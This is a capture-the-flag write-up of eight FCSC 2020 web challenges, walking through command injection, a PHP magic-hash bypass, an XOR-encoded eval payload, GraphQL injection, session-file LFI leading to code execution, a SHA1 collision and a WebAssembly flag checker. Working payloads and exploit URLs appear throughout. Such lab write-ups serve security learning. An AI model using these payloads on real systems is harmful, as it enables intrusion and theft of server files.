FCSC CTF 2020 - Web challenges

This CTF was organized by the french agency ANSSI. I only focused on the web challenges as I did not have a lot of time to work on it. These challenges were very various and I really enjoyed doing them as I learnt some new stuff.

1. Babel Web (20 pts)

Desc: On vous demande d’auditer ce site en cours de construction à la recherche d’un flag.

Babel web was the first challenge, in the intro category. It was the easiest one.

Reaching the URL, we are greeted with this message: "The page is under development, come back later"

babel1

First reflex, I went into the source code of the page, and found out the ?source query string, allowing us to see the source code of the index page.

<!-- <a href="?source=1">source</a> -->

The source code allows us to understand that we can execute code using the ?code query string and the system() function.

<?php
    if (isset($_GET['source'])) {
        @show_source(__FILE__);
    }  else if(isset($_GET['code'])) {
        print("<pre>");
        @system($_GET['code']);
        print("<pre>");
    } else {
?>
<html>
    <head>
        <title>Bienvenue à Babel Web!</title>
    </head>    
    <body>
        <h1>Bienvenue à Babel Web!</h1>
        La page est en cours de développement, merci de revenir plus tard.
        <!-- <a href="?source=1">source</a> -->
    </body>
</html>
<?php
    }
?>

So lets list all files using ls.

http://challenges2.france-cybersecurity-challenge.fr:5001/?code=ls

flag.php index.php

Now we just have to execute a simple cat flag.php and check the source code of the page after that.

http://challenges2.france-cybersecurity-challenge.fr:5001/?code=cat flag.php

And we get the flag !

<pre><?php
    $flag = "FCSC{5d969396bb5592634b31d4f0846d945e4befbb8c470b055ef35c0ac090b9b8b7}";
<pre>

2. EnterTheDungeon (50 pts)

Desc: On vous demande simplement de trouver le flag.

Reaching the URL, we are greeted with to following page:

dungeon1

Let's check the source code the learn more about this form.

<!-- Pour les admins : si vous pouvez valider les changements que j'ai fait dans la page "check_secret.php", le code est accessible sur le fichier "check_secret.txt" -->

Messy, some comment left for developers in the source code, we now have access to check_secret.txt to get the source code of check_secret.php.

<?php
    session_start();
    $_SESSION['dungeon_master'] = 0;
?>
<html>
<head>
    <title>Enter The Dungeon</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Enter The Dungeon</h1></center>
<?php
    echo '<div style="font-size:85%;color:purple">For security reason, secret check is disable !</div><br />';
    echo '<pre>'.chr(10);
    include('./ecsc.txt');
    echo chr(10).'</pre>';

    // authentication is replaced by an impossible test
    //if(md5($_GET['secret']) == "a5de2c87ba651432365a5efd928ee8f2")
    if(md5($_GET['secret']) == $_GET['secret'])
    {
        $_SESSION['dungeon_master'] = 1;
        echo "Secret is correct, welcome Master ! You can now enter the dungeon";

    }
    else
    {
        echo "Wrong secret !";
    }
?>
</body></html>

The developer claims that the login is impossible, because the comparison if(md5($_GET['secret']) == $_GET['secret']) cannot be successful... Not sure about that... We quickly think about PHP loose comparison vulnerability.

Here, the problem is that the code uses loose comparison ('==') instead of strict comparison ('==='). With '==', if PHP decides that two strings look like numeric values, it will convert them to numbers and perform a numeric comparison. For instance "0e12345" == "0e54321" or "0xF" == "15" will both return TRUE.

So we just need to find a string that begins with 0e and so does its md5 hash. Let's check the github repository PayloadAllTheThings for that.

<?php
$a = '0e1137126905';
$b = md5($a);         // '0e291659922323405260514745084877'
$a == $b              // True
$a === $b             // False
?>

We have our payload: 0e1137126905, we just need to input it in the form on the home page.

The response from the servers tells us that we might enter the dungeon, and if we go back to the home page, we are greeted with the flag.

Félicitation Maître, voici le flag : FCSC{f67aaeb3b15152b216cb1addbf0236c66f9d81c4487c4db813c1de8603bb2b5b}

3. Lipogrammeurs (200 pts)

Desc: Vous avez trouvé cette page qui vous semble étrange. Pouvez-vous nous convaincre qu'il y a effectivement un problème en retrouvant le flag présent sur le serveur ?

This challenge was released during the second wave, and was actually more painful than complicated.

As we are greeted with this page showing its own source code, we quickly understand that this is a classic vulnerability that occurs when using the function preg_match().

<?php
    if (isset($_GET['code'])) {
        $code = substr($_GET['code'], 0, 250);
        if (preg_match('/a|e|i|o|u|y|[0-9]/i', $code)) {
            die('No way! Go away!');
        } else {
            try {
                eval($code);
            } catch (ParseError $e) {
                die('No way! Go away!');
            }
        }
    } else {
        show_source(__FILE__);
    }

As we are allowed most of the ascii characters, and because the PHP command is executed with eval(), we can encode characters using xoring. For instance, '_' ^ ')' = 'v'.

Using this technique, we are going to reconstruct all the command that we want to execute. Keep in mind that there is no print or echo, so we have to encode it as well.

var_dump(system('ls -la')) and then eventually var_dump(system('cat something')).

As we execute the ls -la command, we see that our flag is a hidden file. And as we are lazy, let's cat every hidden file, it is faster to encode.

$_='_^^~@[@['^')?,!$.-+';   /* var_dump */
$__='(%((%-'^'[\[\@@';      /* system   */
$___=('<<['^'_]/').' .*';   /* cat .*   */
$_($__($___));

Don't forget to url-encode the payload and insert it in your HTTP request.

%24_%3D%27_%5E%5E~%40%5B%40%5B%27%5E%27%29%3F%2C%21%24.-%2B%27%3B%24__%3D%27%28%25%28%28%25-%27%5E%27%5B%5C%5B%5C%40%40%27%3B%24___%3D%28%27%3C%3C%5B%27%5E%27_%5D%2F%27%29.%27%20. %2A%27%3B%24_%28%24__%28%24___%29%29%3B

We get the HTTP response containing the flag.

<?php
    // Well done!! Here is the flag:
    // FCSC{53d195522a15aa0ce67954dc1de7c5063174a721ee5aa924a4b9b15ba1ab6948}
string(74) "    // FCSC{53d195522a15aa0ce67954dc1de7c5063174a721ee5aa924a4b9b15ba1ab6948}"

4. RainbowPages (50 pts)

Desc: Nous avons développé une plateforme de recherche de cuisiniers. Venez la tester !

In this challenge, we are exploiting a NoSQL injection. It happens to be GraphQL. I was not familiar at all with GraphQL, so this challenge and the version 2 of it tought me a lot.

When arriving on the URL, we are greeted with this panel to search cooks in the database.

rbp1-1

After having a quick look at the code, we easily see that we control the whole request and that it must be base64 encoded to be sent to the server.

var searchValue = btoa('{ allCooks (filter: { firstname: {like: "%'+searchInput+'%"}}) { nodes { firstname, lastname, speciality, price }}}');
            var bodyForm = new FormData();
            bodyForm.append("search", searchValue);

            fetch("index.php?search="+searchValue, {
                method: "GET"
            }).then(function(response) {
                response.json().then(function(data) {
                    data = eval(data);
                    data = data['data']['allCooks']['nodes'];
                    $("#results thead").show()
                    var table = $("#results tbody");
                    table.html("")
                    $("#empty").hide();
                    data.forEach(function(item, index, array){
                        table.append("<tr class='table-dark'><td>"+item['firstname']+" "+ item['lastname']+"</td><td>"+item['speciality']+"</td><td>"+(item['price']/100)+"</td></tr>");
                    });
                    $("#count").html(data.length)
                    $("#count").show()
                });
            });

The request sent to the server is the following.

{ allCooks (filter: { firstname: {like: "%something%"}}) { nodes { firstname, lastname, speciality, price }}}

The syntax is easy and the following:

{ collection (filter: { field: {like: "%something%"}}) { nodes { fields }}}

As I am searching for a flag, I tried the following:

{ Flag }

The response is the following. Thank you GraphQL for your error message, now I can craft my final payload based on the request model.

{"errors":[{"message":"Cannot query field \"Flag\" on type \"Query\". Did you mean \"flag\", \"allFlags\", or \"flagById\"?","locations":[{"line":1,"column":3}]}]}

Here is the payload:

{ allFlags { nodes { flag }}}

And the server response contains the flag.

{"data":{"allFlags":{"nodes":[{"flag":"FCSC{1ef3c5c3ac3c56eb178bafea15b07b82c4a0ea8184d76a722337dca108add41a}"}]}}}

5. RainbowPages v2 (500 pts)

Desc: La première version de notre plateforme de recherche de cuisiniers présentait quelques problèmes de sécurité. Heureusement, notre développeur ne compte pas ses heures et a corrigé l'application en nous affirmant que plus rien n'était désormais exploitable. Il en a également profiter pour améliorer la recherche des chefs. Pouvez-vous encore trouver un problème de sécurité ?

This challenge is a modified version of the previous one.

Reaching the URL, we are greeted the same panel, but with an additional message stating that it is now 100% secured.

rb21

After playing with the field, we quickly understand that the string comparison is now done on the firstname and on the lastname.

The source code has changed as it now only sends the search input, encoded in base64. We now only control the content of the comparison and what is after eventually, but not the beginning of the GraphQL request.

var searchValue = btoa(searchInput);
            var bodyForm = new FormData();
            bodyForm.append("search", searchValue);

            fetch("index.php?search="+searchValue, {
                method: "GET"
            }).then(function(response) {
                response.json().then(function(data) {
                    data = eval(data);
                    data = data['data']['allCooks']['nodes'];
                    $("#results thead").show()
                    var table = $("#results tbody");
                    table.html("")
                    $("#empty").hide();
                    data.forEach(function(item, index, array){
                        table.append("<tr class='table-dark'><td>"+item['firstname']+" "+ item['lastname']+"</td><td>"+item['speciality']+"</td><td>"+(item['price']/100)+"</td></tr>");
                    });
                    $("#count").html(data.length)
                    $("#count").show()
                });
            });

As we still have the previous version of the browser (previous challenge), we can test our payloads on the previous challenge's URL to help the debugging (find the exact offset of or error in the query). The first thing we should try is to end the query to be able to query the flag in a second one. After doing some research on GraphQL, I found two interseting things:

  • '#' can be used to comment (like comments in MySQL)
  • The typical request to compare a string on multiple fields (in our case firstname and lastname) would be the following:

{allCooks (filter: {or: [ {firstname: {like: "%t%"} }, {lastname: {like: "%t%"} } ] } ) {nodes {firstname} } }

I also checked this amazing github repository which is PayloadsAllTheThings, to find one or two useful payloads.

So I tried things (a lot) and managed to craft my first working payload.

t%"}},{lastname:{like:"%t%"}}]}){nodes{firstname}},__schema{types{name}}}#

Here is the response of the server:

{"data":
    {"allCooks":
        {"nodes":
            [
                {"firstname":"Thibault"},
                {"firstname":"Antoinette"},
                {"firstname":"Trycia"},
                {"firstname":"Delbert"},
                {"firstname":"Teagan"},
                {"firstname":"Elisabeth"},
                {"firstname":"Casey"},
                {"firstname":"Luciano"}
            ]
        },
      "__schema":
        {"types":
            [
                {"name":"Query"},
                {"name":"Node"},
                {"name":"ID"},
                {"name":"Int"},
                {"name":"Cursor"},
                {"name":"CooksOrderBy"},
                {"name":"CookCondition"},
                {"name":"String"},
                {"name":"CookFilter"},
                {"name":"IntFilter"},
                {"name":"Boolean"},
                {"name":"StringFilter"},
                {"name":"CooksConnection"},
                {"name":"Cook"},
                {"name":"CooksEdge"},
                {"name":"PageInfo"},
                {"name":"FlagNotTheSameTableNamesOrderBy"},
                {"name":"FlagNotTheSameTableNameCondition"},
                {"name":"FlagNotTheSameTableNameFilter"},
                {"name":"FlagNotTheSameTableNamesConnection"},
                {"name":"FlagNotTheSameTableName"},
                {"name":"FlagNotTheSameTableNamesEdge"},
                {"name":"__Schema"},
                {"name":"__Type"},
                {"name":"__TypeKind"},
                {"name":"__Field"},
                {"name":"__InputValue"},
                {"name":"__EnumValue"},
                {"name":"__Directive"},
                {"name":"__DirectiveLocation"}
            ]
        }
    }
}

Cool we can see the name of the flag collection, and its fields.

From there, it was easy to build the final payload, encode it in base64 and get the flag.

t%"}},{lastname:{like:"%t%"}}]}){nodes{firstname}},allFlagNotTheSameTableNames{nodes{flagNotTheSameFieldName}}}#

Yeah we got it.

{"data":
    {"allCooks":
        {"nodes":
            [
                {"firstname":"Thibault"},
                {"firstname":"Antoinette"},
                {"firstname":"Trycia"},
                {"firstname":"Delbert"},
                {"firstname":"Teagan"},
                {"firstname":"Elisabeth"},
                {"firstname":"Casey"},
                {"firstname":"Luciano"}
            ]
        },
    "allFlagNotTheSameTableNames":
        {"nodes":
            [
                {"flagNotTheSameFieldName":"FCSC{70c48061ea21935f748b11188518b3322fcd8285b47059fa99df37f27430b071}"}
            ]
        }
    }
}

This challenge was very interesting as I had never used GraphQL, but very painful as it took a lot of attempts to just get one working query and no error message in response to it.

6. Bestiary (200 pts)

Desc: On vous demande simplement de trouver le flag.

This challenge was good fun as I enjoy LFIs (Local File Inclusions) and I was not very familiar with this type of LFI.

Reaching the URL, we are greeted with a dropdown menu allowing us to select a monster and it displays information about this monster on the page.

bestiary1

As we check the source code of the page, we quickly see that the page is passing the monster's name in a GET request and it will potentially include a file corresponding to the monster's name in the result page. There is potentially a LFI around.

function show()
{
    var monster = document.getElementById("monster").value;
    document.location.href = "index.php?monster="+monster;
}

I tried a few payloads one the URL and bingo, there is a LFI, and PHP filters are activated so let's get the source code of index.php to learn a bit more about the flag location. Let's query this URL.

http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=php://filter/convert.base64-encode/resource=index.php

We can recover the base64 encoded source code of index.php on the landing page as it has been included in the page.

PD9waHAKCXNlc3Npb2.....

Once the base64 decoded, we have a clear view of the index.php source code. Let's analyze it. As we can see the flag.php is included in the page, but it is for sure just a variable, without any printing of it on the page so we should get it. Also, in PHP, session variables are stored in a file, usually located at /var/lib/phpX/sessions (or else) under the name sess_PHPSESSID. Here, it is indicated that the sessions variables are stored in files located at ./sessions/. After a bit of research, it is clear that it is a LFI using PHP sessions.

The following PHP code prevents us from using 'flag' in the LFI payload, but still stores it in session variables. Let's try some things with the PHPSESSID LFI technique.

<?php
    session_save_path("./sessions/");
    session_start();
    include_once('flag.php');
?>
<html>
<head>
    <title>Bestiary</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Bestiary</h1></center>
<script>
function show()
{
    var monster = document.getElementById("monster").value;
    document.location.href = "index.php?monster="+monster;
}
</script>

<p>
<?php
    $monster = NULL;

    if(isset($_SESSION['monster']) && !empty($_SESSION['monster']))
        $monster = $_SESSION['monster'];
    if(isset($_GET['monster']) && !empty($_GET['monster']))
    {
        $monster = $_GET['monster'];
        $_SESSION['monster'] = $monster;
    }

    if($monster !== NULL && strpos($monster, "flag") === False)
        include($monster);
    else
        echo "Select a monster to read his description.";
?>
</p>

<select id="monster">
    <option value="beholder">Beholder</option>
    <option value="displacer_beast">Displacer Beast</option>
    <option value="mimic">Mimic</option>
    <option value="rust_monster">Rust Monster</option>
    <option value="gelatinous_cube">Gelatinous Cube</option>
    <option value="owlbear">Owlbear</option>
    <option value="lich">Lich</option>
    <option value="the_drow">The Drow</option>
    <option value="mind_flayer">Mind Flayer</option>
    <option value="tarrasque">Tarrasque</option>
</select> <input type="button" value="show description" onclick="show()">
<div style="font-size:70%">Source : https://io9.gizmodo.com/the-10-most-memorable-dungeons-dragons-monsters-1326074030</div><br />
</body>
</html>

First, I need to get my session id, so let's take it in my cookie.

PHPSESSID=81e9ba3ef39108fa9e3f64662893a3f1

My session variables are stored in the file ./sessions/sess_81e9ba3ef39108fa9e3f64662893a3f1. Let's try to get the file where our session variables are stored to see how it is structured.

http://challenges2.france-cybersecurity-challenge.fr:5004/sessions/sess_81e9ba3ef39108fa9e3f64662893a3f1

The output is the following:

monster|s:53:"php://filter/convert.base64-encode/resource=index.php";

Here, as the last inclusion path I did input was to get the source code of index.php, I can see that it has been saved in $_SESSION['monster'] and is still on it.

The technique to execute commands is the following:

First, modify the content of the cookie with some PHP code like <?php system('ls'); ?>

Second, make a request with your command as the included parameter http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=<?php system('ls'); ?>

Finally, make a request with the session file path as the included parameter http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=./sessions/sess_81e9ba3ef39108fa9e3f64662893a3f1

Obviously, this challenge is worth 200 points, so using the system() function would be to easy. It goes the same for exec(), shell_exec() and all the outrageous commands.

So let's use file_get_contents() to extract the flag.php file.

But one problem remains: flag.php only contains variables, so including it would not reveal the variables, just include them.

I was stuck on this problem for some times, but then it hit me. Let's truncate the beginning of the file, which is the PHP tag, and it will not be included as PHP code, but as plain text...

Here is the payload, it removes the first three characters:

<?php $a=file_get_contents('flag.php');echo substr($a, 3, strlen($a)-3);?>

Let's put in the cookie PHPSESSID, and follow the two remaining steps.

Query the URL containing the command:

http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=%3C?php%20$a=file_get_contents(%27flag.php%27);echo%20substr($a,%203,%20strlen($a)-3);?%3E

This query will, if it does not fail, bring us back to the index.php page, as if we freshly arrived. Now, let's use the LFI to include the file containing our session variables:

http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=./sessions/sess_81e9ba3ef39108fa9e3f64662893a3f1

The page now includes the file containing containing session variables, itself containing the flag.php substring... We have the flag.

monster|s:74:"hp $flag="FCSC{83f5d0d1a3c9c82da282994e348ef49949ea4977c526634960f44b0380785622}"; ";

7. Revision (50 pts)

Desc: La société Semper est spécialisée en archivage de documents électroniques. Afin de simplifier le travail des archivistes, un outil simple de suivi de modification a été mis en ligne. Depuis quelques temps néanmoins, cet outil dysfonctionne. Les salariés se plaignent de ne pas recevoir tous les documents et il n'est pas rare que le système plante. Le développeur de l'application pense avoir identifié l'origine du problème. Aidez-le à reproduire le bug.

Note : La taille totale des fichiers est limitée à 2Mo.

# coding: utf-8
import hashlib
from web.services.database import Database
from web.services.mailer import Mailer


class ComparatorError(Exception):
    """Base class for all Comparator exceptions"""
    pass


class DatabaseError(ComparatorError):
    """Exception raised for errors in database operations."""


class StoreError(ComparatorError):
    """Exception raised for errors in store function.

    Attributes:
        message -- explanation of the error
    """

    def __init__(self, files, message):
        self.files = files
        self.message = message


class Comparator(object):
    """A class for Comparator"""

    BLOCK_SIZE = 8*1024

    def __init__(self, f1=None, f2=None):
        """
        Set default parameters

        Required parameters :
            f1: open file handler
            f2: open file handler
            db: database
            m : mailer

        """
        self.f1 = f1
        self.f2 = f2
        self.db = Database()
        self.m = Mailer()

    def compare(self):
        self._reset_cursor()
        return self.f1.read() == self.f2.read()

    def store(self):
        self._reset_cursor()
        f1_hash = self._compute_sha1(self.f1)
        f2_hash = self._compute_sha1(self.f2)

        if self.db.document_exists(f1_hash) or self.db.document_exists(f2_hash):
            raise DatabaseError()

        attachments = set([f1_hash, f2_hash])
        # Debug debug...
        if len(attachments) < 2:
            raise StoreError([f1_hash, f2_hash], self._get_flag())
        else:
            self.m.send(attachments=attachments)

    def _compute_sha1(self, f):
        h = hashlib.sha1()
        buf = f.read(self.BLOCK_SIZE)
        while len(buf) > 0:
            h.update(buf)
            buf = f.read(self.BLOCK_SIZE)
        return h.hexdigest()

    def _reset_cursor(self):
        self.f1.seek(0)
        self.f2.seek(0)

    def _get_flag(self):
        with open('flag.txt', 'r') as f:
            flag = f.read()
        return flag

Reaching the URL, we are greeted with the following panel to compare two files.

revision

Initially, I noticed the use of SHA1 in the python code, and I know that SHA1 is broken. Still, I tried some directory traversal modifying the filename with burp, but there was a CSRF token, and it gave no results.

After doing some research, I came across this website https://shattered.io/, and found out that there were two different PDF samples available, and their SHA1 hash was the same: hash collision...

So I took these two samples given on the website, shattered-1.pdf and shattered-2.pdf, and uploaded them on the web interface.

I got the following message.

Un des documents existe déjà dans la base de données. Vous semblez être sur la bonne voie...

Too mainstream, they are already in the database... I kept searching and found out that the collision was still valid with both PDF cropped (not for all sizes).

I tested multiple sizes of cropping, and taking only the 400 first bytes of both PDF worked.

open("f1.pdf", "w+").write(open("shattered-1.pdf", "r").read()[:400])
open("f2.pdf", "w+").write(open("shattered-2.pdf", "r").read()[:400])

After uploading the new PDF, StoreError was raised on the python webserver as the set contained two times the same hash, (set values are unique, so there was only one hash in our set), and the flag popped on our web interface.

Bravo, vous avez trouvé une collision sha1 pour le fichier "a528932079053ab757421c3ddb92f2b53051578f" : FCSC{8f95b0fc1a793e102a65bae9c473e9a3c2893cf083a539636b082605c40c00c1}

8. Flag checker (200 pts)

Desc: Voici un service qui permet simplement de vérifier si le flag est correct.

Reaching the URL, we are greeted with the following form allowing us to check our flag.

flagchecker

Digging in the source code of the page, I noticed this JS function that handles the checking of the flag:

<script>
    function checkFlag() {
    check = Module.cwrap("check", "number", ["string"]), 
        flag = $("#flag").val(), 
        check(flag) 
            ? ($("#feedback").html('<div id="alert" class="alert alert-dismissible alert-success"><button type="button" class="close" data-dismiss="alert">&times;</button><strong>Congratulations!</strong> You can enter this flag in the CTFd.</div>'), 
            $("#feedback").show()) 
            : ($("#feedback").html('<div id="alert" class="alert alert-dismissible alert-danger"><button type="button" class="close" data-dismiss="alert">&times;</button><strong>Incorrect!</strong> Please check your flag again.</div>'), 
            $("#feedback").show())
    }
    $("#btn-clear").on("click", (function(e) {
        e.preventDefault(), $("#flag").val(""), $("#feedback").hide()
    })), $("#btn-check").on("click", (function(e) {
        checkFlag()
    })), $(document).keyup((function(e) {
        "Escape" === e.key ? $("#feedback").html("") : "Enter" === e.key && checkFlag()
    }))
</script>
<script src=index.js async></script>

The part Module.cwrap("check", "number", ["string"]) caught my attention, and it was obviously imported from the second JS script included just after this one: <script src=index.js async></script>

As I opened the index.js file, this is what I felt upon:

flagchecker1

Nice, first step, beautify it. Reading it between the lines, I figured out that it was basically the code allowing the execution of a web assembly binary, called index.wasm and located at the root.

So the web service calls the wasm (web assembly) binary to compare the flag we input via the function Module.cwrap().

The best way to understand to what the binary compares our flag is to debug it in the web browser debugger. I use brave web browser which is a fork of chromium, so opening the dev tools and checking the 'sources' tab gets me what I wnat: the wasm code.

The following analysis is actually static, but it can also be done dynamically during the execution using breakpoints.

(module
  (type $type0 (func (param i32) (result i32)))
  (type $type1 (func))
  (type $type2 (func (param i32)))
  (type $type3 (func (result i32)))
  (import "a" "memory" (memory $memory0 256 256))
  (global $global0 (mut i32) (i32.const 5244480))
  (export "a" (func $func5))
  (export "b" (func $func4))
  (export "c" (func $func2))
  (export "d" (func $func1))
  (export "e" (func $func0))
  (func $func0 (param $var0 i32)
    get_local $var0
    set_global $global0
  )
  (func $func1 (param $var0 i32) (result i32)
    get_global $global0
    get_local $var0
    i32.sub
    i32.const -16
    i32.and
    tee_local $var0
    set_global $global0
    get_local $var0
  )
  (func $func2 (result i32)
    get_global $global0
  )
  (func $func3 (param $var0 i32) (result i32)
    (local $var1 i32) (local $var2 i32) (local $var3 i32) (local $var4 i32) (local $var5 i32)
    i32.const 70
    set_local $var3
    i32.const 1024
    set_local $var1
    block $label0
      get_local $var0
      i32.load8_u
      tee_local $var2
      i32.eqz
      br_if $label0
      loop $label2
        block $label1
          get_local $var2
          get_local $var1
          i32.load8_u
          tee_local $var4
          i32.ne
          br_if $label1
          get_local $var3
          i32.const -1
          i32.add
          tee_local $var3
          i32.eqz
          br_if $label1
          get_local $var4
          i32.eqz
          br_if $label1
          get_local $var1
          i32.const 1
          i32.add
          set_local $var1
          get_local $var0
          i32.load8_u offset=1
          set_local $var2
          get_local $var0
          i32.const 1
          i32.add
          set_local $var0
          get_local $var2
          br_if $label2
          br $label0
        end $label1
      end $label2
      get_local $var2
      set_local $var5
    end $label0
    get_local $var5
    i32.const 255
    i32.and
    get_local $var1
    i32.load8_u
    i32.sub
  )
  (func $func4 (param $var0 i32) (result i32)
    (local $var1 i32) (local $var2 i32)
    get_local $var0
    i32.load8_u
    tee_local $var2
    if
      get_local $var0
      set_local $var1
      loop $label0
        get_local $var1
        get_local $var2
        i32.const 3
        i32.xor
        i32.store8
        get_local $var1
        i32.load8_u offset=1
        set_local $var2
        get_local $var1
        i32.const 1
        i32.add
        set_local $var1
        get_local $var2
        br_if $label0
      end $label0
    end
    get_local $var0
    call $func3
    i32.eqz
  )
  (func $func5
    nop
  )
  (data (i32.const 1024)
    "E@P@x4f1g7f6ab:42`1g:f:7763133;e0e;03`6661`bee0:33fg732;b6fea44be34g0~"
  )
)

I am no expert of wasm, but it is easy to read between the lines of this code to understand what it does. First, at the bottom of the code, we have some initial data:

(data (i32.const 1024)
    "E@P@x4f1g7f6ab:42`1g:f:7763133;e0e;03`6661`bee0:33fg732;b6fea44be34g0~"
  )

Flags are of the form FCSC{XXXX}, so, if the data is some cipher of the flag, and the 4 first characters are 'E@P@', both '@' are 'C' in the plaintext. It is highly possible that the cipher is the plaintext xored with some data. Let's note that '@'^3='C'. Also, the length of this string is 70.

$func4() does look like the function deciphering our cipher. And looking at these two lines confirms it:

i32.const 3
i32.xor

It looks like the xor performed on each character is of the form char ^ 3, as both second and fourth characters are the same in the ciphertext.

At the beginning of $func3(), there is this line which is interesting:

i32.const 70

It is highly possible that this variable is used to check the length of the user input, as the cipher is also 70 bytes long.

Later on, the function enters a loop which migth be the loop comparing the deciphered flag and the user input.

block $label0
      get_local $var0
      i32.load8_u
      tee_local $var2
      i32.eqz
      br_if $label0
      loop $label2
        block $label1
          get_local $var2
          get_local $var1
          i32.load8_u
          tee_local $var4
          i32.ne
          br_if $label1
          get_local $var3
          i32.const -1
          i32.add
          tee_local $var3
          i32.eqz
          br_if $label1
          get_local $var4
          i32.eqz
          br_if $label1
          get_local $var1
          i32.const 1
          i32.add
          set_local $var1
          get_local $var0
          i32.load8_u offset=1
          set_local $var2
          get_local $var0
          i32.const 1
          i32.add
          set_local $var0
          get_local $var2
          br_if $label2
          br $label0
        end $label1
      end $label2
      get_local $var2
      set_local $var5
    end $label0

Analyzing the other funtions might have been useful, but at this point, I figured out that I would test xoring every character of the cipher with 3, just to see if it is that simple.

a = "E@P@x4f1g7f6ab:42`1g:f:7763133;e0e;03`6661`bee0:33fg732;b6fea44be34g0~"
for c in a:
    print(chr(ord(c)^3), end="")

These few lines of python did the job as the output was the plaintext flag.

FCSC{7e2d4e5ba971c2d9e944502008f3f830c5552caff3900ed4018a5efb77af07d3}